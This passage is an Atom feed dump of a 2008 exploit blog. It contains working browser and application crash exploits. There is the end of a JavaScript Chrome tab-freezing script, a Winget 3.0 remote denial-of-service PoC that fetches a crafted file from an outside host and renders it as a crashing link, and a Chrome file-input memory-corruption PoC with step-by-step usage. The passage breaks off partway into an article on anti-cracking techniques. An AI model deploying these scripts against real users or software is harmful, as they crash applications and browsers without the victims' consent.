/&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;document.form1.the_box.value = x;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;/head&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;body&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;/body&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial;"&gt;&lt;/html&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;script&gt; &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;var x="";&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;for(i=0;i&lt;999999;i++)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;        {x=x+"0003DE30 0000 0000 0000 0000 0000 0000 0000 0000 ...............";}&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;document.form1.the_box.value = x;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;/script&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-136876123380044155?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/136876123380044155/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=136876123380044155' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/136876123380044155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/136876123380044155'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2008/11/google-chrome-text-input-based-tab.html' title='Google Chrome Text-Input based Tab freezing Exploit.'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-4831070189818297300</id><published>2008-11-12T10:32:00.000-08:00</published><updated>2008-11-12T10:38:44.423-08:00</updated><title type='text'>Winget 3.0 Download Manager(Build 112) Remote DOS Exploit PoC.</title><content type='html'>&lt;div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;Developer: www.Indentix.com&lt;/div&gt;&lt;div&gt;Tested On: Windows Xp Pro Sp2 &amp;amp; Google Chrome browser 0.2.149.30.&lt;/div&gt;&lt;div&gt;By: Aodrulez.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;This download manager crashes completely when the attached&lt;/div&gt;&lt;div&gt;specially crafted files' contents are copied to System clipboard.&lt;/div&gt;&lt;div&gt;So, if you craft a special HTML file as shown below, the link that&lt;/div&gt;&lt;div&gt;it generates completely kills Winget 3.0 remotely.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt; &lt;/span&gt;Usage:Start Winget, minimize its window &amp;amp; then open the html&lt;/div&gt;&lt;div&gt;file in a browser(fully tested on Google chrome) &amp;amp; then follow&lt;/div&gt;&lt;div&gt;onscreen intructions.This html file downloads a specially crafted&lt;/div&gt;&lt;div&gt;text file &amp;amp; renders its contents as a link. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Greetz fly out to:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;1]LiquidWorm : For being so nice.....n guiding me.. :)&lt;/div&gt;&lt;div&gt;2]str0ke : For goin thru all my silly e-mails.&lt;/div&gt;&lt;div&gt;3]Amforked() : My mentor.&lt;/div&gt;&lt;div&gt;4]OSRT :- This is dedicated to all the members!&lt;/div&gt;&lt;div&gt;------------------------------------------------------------------&lt;/div&gt;&lt;div&gt;By:       Aodrulez, &lt;/div&gt;&lt;div&gt;    www.OrchidSeven.com, &lt;/div&gt;&lt;div&gt;   aodrulez.blogspot.com.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Email: f3arm3d3ar@gmail.com&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;The Exploit:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;-----------------------------------------------------------------------------&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Aodrulez's Winget 3.0 Download Manager(Build 112) Remote DOS Exploit PoC.&lt;/b&gt;&lt;/div&gt;&lt;b&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/b&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Greetz Fly Out to: LiquidWorm,str0ke &amp;amp; Amforked().&lt;/div&gt;&lt;div&gt;&lt;form name="form1"&gt;&lt;input type="button" onclick="shit()" value="Test Me!"&gt;&lt;/form&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;script language="javascript"&gt; &lt;/div&gt;&lt;div&gt;function shit()&lt;/div&gt;&lt;div&gt;{&lt;/div&gt;&lt;div&gt;var oRequest = new XMLHttpRequest();&lt;/div&gt;&lt;div&gt; var sURL  = "http://www.snapdrive.net/files/571814/wingetpoc.txt";&lt;/div&gt;&lt;div&gt; alert('Downloading a txt file..please wait.');&lt;/div&gt;&lt;div&gt; oRequest.open("GET",sURL,false);&lt;/div&gt;&lt;div&gt;oRequest.setRequestHeader("User-Agent",navigator.userAgent);&lt;/div&gt;&lt;div&gt; oRequest.send(null)&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div&gt; if (oRequest.status==200)&lt;/div&gt;&lt;div&gt;{ alert('Done...now try copying the link');&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;var str=" Winget 3.0 DoS Exploit PoC.Minimize Winget &amp;amp; Right-Click &amp;amp; Copy to clipboard.";&lt;/div&gt;&lt;div&gt;document.write(str.link("http://"+oRequest.responseText+".exe"));&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt; else &lt;/div&gt;&lt;div&gt;{alert("Error executing XMLHttpRequest call!")};&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;div&gt;&lt;/script&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-4831070189818297300?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/4831070189818297300/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=4831070189818297300' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/4831070189818297300'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/4831070189818297300'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2008/11/winget-3.html' title='Winget 3.0 Download Manager(Build 112) Remote DOS Exploit PoC.'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-4264450628587411397</id><published>2008-11-12T10:30:00.000-08:00</published><updated>2008-11-12T10:53:58.153-08:00</updated><title type='text'>Google Chrome "input type=file" Based Memory Corruption PoC.</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span" style=" font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Tested on Version : 0.3.154.9&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;By :Aodrulez.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Google Chrome completely crashes due &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;to "Access Violation" exception if the user&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;right-clicks any file in the "Open File" &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;dialog that pops-up, twice within same tab &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;or other tabs.If you select any&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;file once, right-click it, &amp;amp; select any option...&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;then either click "Open" or "Cancel"...&amp;amp; try to&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;do the same again, Memory corruption occurs &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;causing all the tabs &amp;amp; the entire Browser to Crash.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;How to test this PoC:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial; "&gt;1] Click the first "Choose File", select&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   any folder or file, right-click n select&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   "properties".Then cancel the "Open" dialog&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;    box.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2] Click the second "Choose File", select&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   any folder or file,&amp;amp; simply right-click &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   to see Google Chrome Crash due to &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   "Access Violation".&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;------------------------------------------------------------------   &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Greetz fly out to:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]LiquidWorm : For being so nice.....n guiding me.. :-)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2]str0ke : For goin thru all my silly e-mails.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;3]Amforked() : My Mentor.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;By:       Aodrulez, &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;    www.OrchidSeven.com, &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   aodrulez.blogspot.com.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Email: f3arm3d3ar@gmail.com&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;PoC :&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;------------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;form name="form1"&gt;&lt;/form&gt;&lt;/div&gt;&lt;div&gt;&lt;input type="file" name="aodrulez1"&gt;&lt;/div&gt;&lt;div&gt;&lt;input type="file" name="aodrulez2"&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7917578420665249631-4264450628587411397?l=aodrulez.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aodrulez.blogspot.com/feeds/4264450628587411397/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7917578420665249631&amp;postID=4264450628587411397' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/4264450628587411397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7917578420665249631/posts/default/4264450628587411397'/><link rel='alternate' type='text/html' href='http://aodrulez.blogspot.com/2008/11/google-chrome-input-typefile-based.html' title='Google Chrome &quot;input type=file&quot; Based Memory Corruption PoC.'/><author><name>Aodrulez</name><uri>http://www.blogger.com/profile/08183733756992832229</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='29' height='32' src='http://1.bp.blogspot.com/-dHuBECqQjHM/TgukjDCjDlI/AAAAAAAAAG4/8HEaTYqA5Ec/s220/Kewl.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7917578420665249631.post-286534067802391107</id><published>2008-11-11T13:54:00.000-08:00</published><updated>2008-11-12T10:39:50.283-08:00</updated><title type='text'>Anti-Software_Cracking Techniques.</title><content type='html'>&lt;div&gt;&lt;span class="Apple-style-span" style="font-family: arial; "&gt;Author:Aodrulez.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Email: f3arm3d3ar@gmail.com&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Well..we all know there are thousands of such text&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;files floating on the Internet.Am not adding sumthin to &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;the already present chaos.This paper focuses primarily&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;on approaches that you might find novel or useful in &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;implementing "Anti-Cracking Protection" in your apps.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Techniques:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;1]A Registration-Routine Technique:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;Simply bored of seeing the same tricks being used &amp;amp;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;abused, I thought of trying a novel approach.What if we tried&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;this:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Usual Registration Routines:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1]Accept Username/Serial from user/file.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2]Use some math-operators &amp;amp; either....&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  a] Calculate the serial directly from Username&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;     &amp;amp; then compare with user-input serial.(Dumb)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  b] Calculate a Hash from the username as well as serial&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;     using different algo ofcourse &amp;amp; then compare them.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;3]Either carry on with the registered status.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;4]or Display...a message saying.."Not Registered!"&lt;/span&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;  &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;My way:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;1] Accept the username/serial from user/file.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;2] Use some algo on both the Username &amp;amp; serial&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   and based on that, generate "opcodes".&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;3] Inject these opcodes into the registration routine.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;4] If the "opcodes" generated match, then &amp;amp; only then&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   will the app get registered..else it will crash!!&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;5] Use SEH so that in case of a crash, the app can be&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space:pre"&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt; &lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;   terminated elegantly.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;So Algorithm-Wise this looks like this:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;-----------------------------------------------------------------&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-family:arial;"&gt;        &lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" 